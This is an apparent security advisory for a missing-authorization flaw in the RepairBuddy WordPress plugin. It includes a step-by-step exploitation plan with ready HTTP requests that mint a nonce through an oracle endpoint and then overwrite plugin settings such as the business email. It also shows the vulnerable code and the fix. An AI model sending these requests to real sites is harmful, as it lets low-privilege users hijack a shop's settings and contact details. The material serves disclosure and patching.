RepairBuddy <= 4.1132 - Missing Authorization to Authenticated (Subscriber+) Plugin Settings Modification via wc_rep_shop_settings_submission AJAX Action
Description
The RepairBuddy – Repair Shop CRM & Booking Plugin for WordPress is vulnerable to unauthorized access in all versions up to, and including, 4.1132. The plugin exposes two AJAX handlers that, when combined, allow any authenticated user to modify admin-level plugin settings. First, the wc_rb_get_fresh_nonce() function (registered via wp_ajax and wp_ajax_nopriv hooks) allows any user to generate a valid WordPress nonce for any arbitrary action name by simply providing the nonce_name parameter, with no capability checks. Second, the wc_rep_shop_settings_submission() function only verifies the nonce (wcrb_main_setting_nonce) but performs no current_user_can() capability check before updating 15+ plugin options via update_option(). This makes it possible for authenticated attackers, with subscriber-level access and above, to modify all plugin configuration settings including business name, email, logo, menu label, GDPR settings, and more by first minting a valid nonce via the wc_rb_get_fresh_nonce endpoint and then calling the settings submission handler.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=4.1132What Changed in the Fix
Changes introduced in v4.1133
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-3567 (RepairBuddy Plugin) ## 1. Vulnerability Summary The **RepairBuddy – Repair Shop CRM & Booking Plugin** for WordPress (versions <= 4.1132) contains a two-stage vulnerability that allows authenticated users (Subscriber-level and above) to modify administra…
Show full research plan
Exploitation Research Plan: CVE-2026-3567 (RepairBuddy Plugin)
1. Vulnerability Summary
The RepairBuddy – Repair Shop CRM & Booking Plugin for WordPress (versions <= 4.1132) contains a two-stage vulnerability that allows authenticated users (Subscriber-level and above) to modify administrative plugin settings.
- Nonce Oracle: The function
wc_rb_get_fresh_nonce()(registered viawp_ajax_wc_rb_get_fresh_nonceandwp_ajax_nopriv_wc_rb_get_fresh_nonce) accepts anonce_nameparameter and returns a valid WordPress nonce for that action without performing any capability checks. - Missing Authorization: The settings handler
wc_rep_shop_settings_submission()(registered viawp_ajax_wc_rep_shop_settings_submission) verifies a nonce (wcrb_main_setting_nonce) but fails to verify if the user has administrative privileges (e.g.,current_user_can('manage_options')) before updating multiple global options viaupdate_option().
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - First Action (Nonce Minting):
wc_rb_get_fresh_nonce- Parameter:
nonce_name(Target action string)
- Parameter:
- Second Action (Settings Update):
wc_rep_shop_settings_submission- Parameter:
wcrb_main_setting_nonce(The minted nonce) - Payload Parameters: Various plugin options (e.g.,
wc_business_name,wc_business_email,repairbuddy_menu_label)
- Parameter:
- Required Authentication: Subscriber-level user (or higher). While the nonce oracle is available to
noprivusers, the settings update handler is restricted to authenticated users (wp_ajax_).
3. Code Flow
- Nonce Minting:
- User sends POST to
admin-ajax.phpwithaction=wc_rb_get_fresh_nonceandnonce_name=wcrb_main_setting_nonce. - The backend (invoking
wc_rb_get_fresh_nonce) generates a nonce usingwp_create_nonce('wcrb_main_setting_nonce'). - The nonce is returned in a JSON response.
- User sends POST to
- Settings Submission:
- User sends POST to
admin-ajax.phpwithaction=wc_rep_shop_settings_submission. - The backend (invoking
wc_rep_shop_settings_submission) callswp_verify_nonce($_POST['wcrb_main_setting_nonce'], 'wcrb_main_setting_nonce'). - Because the nonce was minted by the oracle in step 1, the check passes.
- The function proceeds to iterate through
$_POSTdata and callsupdate_option()for approximately 15+ predefined plugin settings without anycurrent_user_can()check.
- User sends POST to
4. Nonce Acquisition Strategy
This vulnerability specifically provides its own nonce oracle, making standard extraction unnecessary.
- Oracle Action:
wc_rb_get_fresh_nonce - Target Nonce Name:
wcrb_main_setting_nonce(per vulnerability description). - Method:
- Send an authenticated (Subscriber) POST request to
admin-ajax.php. data: { action: 'wc_rb_get_fresh_nonce', nonce_field: 'dummy', nonce_name: 'wcrb_main_setting_nonce' }.- Parse JSON:
response.data.nonce.
- Send an authenticated (Subscriber) POST request to
5. Exploitation Strategy
Step 1: Obtain Nonce for Settings Modification
Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=wc_rb_get_fresh_nonce&nonce_field=wcrb_main_setting_nonce&nonce_name=wcrb_main_setting_nonce
Expected Response:
{
"success": true,
"data": {
"nonce": "a1b2c3d4e5"
}
}
Step 2: Modify Administrative Settings
Using the nonce obtained in Step 1, send a request to overwrite business settings.
Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=wc_rep_shop_settings_submission&wcrb_main_setting_nonce=a1b2c3d4e5&wc_business_name=Hacked_By_Researcher&wc_business_email=attacker@example.com&repairbuddy_menu_label=PwnedBuddy
(Note: Parameter names like wc_business_name are based on the description and internal patterns found in class-booking-settings.php).
6. Test Data Setup
- Install RepairBuddy <= 4.1132.
- Create a Subscriber user:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password
- Note the original business name:
wp option get wc_business_name(If empty, it defaults to the site name).
7. Expected Results
- Step 1: The JSON response should contain a 10-character alphanumeric nonce.
- Step 2: The response should indicate success (usually
1or a success JSON depending on the handler implementation). - State Change: The WordPress options table will be updated with the malicious values.
8. Verification Steps
Verify the modification via WP-CLI:
wp option get wc_business_name(Should returnHacked_By_Researcher)wp option get wc_business_email(Should returnattacker@example.com)wp option get repairbuddy_menu_label(Should returnPwnedBuddy)
9. Alternative Approaches
If wc_rep_shop_settings_submission fails, try targeting the booking settings directly observed in the source:
- Alternative Action:
wc_rb_update_booking_settings(found inlib/includes/classes/class-booking-settings.php). - Required Nonce: This handler likely uses a different nonce (check JS
nonceConfiginassets/js/ajax_scripts.js). - Minting Strategy: Use the oracle for
wc_computer_repair_mb_nonceorwc_computer_repair_nonceas seen in thenonceConfigarray inajax_scripts.js. - Payload: Modify
booking_email_subject_to_customerorwc_device_label.
Summary
The RepairBuddy plugin for WordPress is vulnerable to unauthorized plugin settings modification by authenticated users (Subscriber+) due to a missing authorization check and a nonce oracle. Attackers can first use the 'wc_rb_get_fresh_nonce' AJAX action to generate a valid security nonce for any action and then use that nonce with the 'wc_rep_shop_settings_submission' action to overwrite administrative plugin settings.
Vulnerable Code
// assets/js/ajax_scripts.js lines 108-135 // This client-side function interacts with the 'wc_rb_get_fresh_nonce' AJAX action, // which acts as a nonce oracle by returning a valid nonce for any provided action name. function updateNonce(nonce_field, nonce_name) { if (nonce_field == '' || nonce_name == '') { return; } $.ajax({ url: ajax_obj.ajax_url, type: 'POST', data: { action: 'wc_rb_get_fresh_nonce', 'nonce_field': nonce_field, 'nonce_name': nonce_name }, success: function(response) { if (response.success && response.data.nonce) { // Update the hidden field $('#' + nonce_field).val(response.data.nonce); // Also update any other forms/buttons that might use this nonce $('input[name="' + nonce_field + '"]').val(response.data.nonce); } }, error: function(xhr, status, error) { console.error('Failed to update nonce:', error); } }); }
Security Fix
@@ -105,106 +105,6 @@ } }); - // Function to update nonce via AJAX - function updateNonce(nonce_field, nonce_name) { - if (nonce_field == '' || nonce_name == '') { - return; - } - - $.ajax({ - url: ajax_obj.ajax_url, - type: 'POST', - data: { - action: 'wc_rb_get_fresh_nonce', - 'nonce_field': nonce_field, - 'nonce_name': nonce_name - }, - success: function(response) { - if (response.success && response.data.nonce) { - // Update the hidden field - $('#' + nonce_field).val(response.data.nonce); - - // Also update any other forms/buttons that might use this nonce - $('input[name="' + nonce_field + '"]').val(response.data.nonce); - } - }, - error: function(xhr, status, error) { - console.error('Failed to update nonce:', error); - } - }); - } -... - jQuery(document).ready(function($) { - // Function to update nonce after delay - function updateNonceWithDelay(nonce_field, nonce_name, delay = 500) { - if ($('#' + nonce_field).length > 0) { - setTimeout(function() { - updateNonce(nonce_field, nonce_name); - }, delay); - } - } - - // Define your nonce fields and their corresponding actions - var nonceConfig = [ - { - field: 'wc_rb_mb_device_submit', - name: 'wc_computer_repair_mb_nonce' - }, - { - field: 'wc_request_quote_nonce', - name: 'wc_computer_repair_nonce' - }, - ]; - - // Update all nonces on page load - nonceConfig.forEach(function(config) { - updateNonceWithDelay(config.field, config.name, 500); - }); -... (truncated)
Exploit Outline
1. Authentication: Log in as a Subscriber-level user. 2. Nonce Acquisition: Send an authenticated POST request to /wp-admin/admin-ajax.php with the action 'wc_rb_get_fresh_nonce' and the parameter 'nonce_name' set to 'wcrb_main_setting_nonce'. 3. Capture Response: The server returns a JSON response containing a valid WordPress nonce for the settings submission action. 4. Settings Modification: Send a second authenticated POST request to 'admin-ajax.php' using the action 'wc_rep_shop_settings_submission'. 5. Payload Shaping: Include the captured nonce in the 'wcrb_main_setting_nonce' parameter and include arbitrary values for plugin options such as 'wc_business_name', 'wc_business_email', or 'repairbuddy_menu_label'. 6. Verification: Observe that the plugin settings have been updated globally, affecting all users including administrators.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.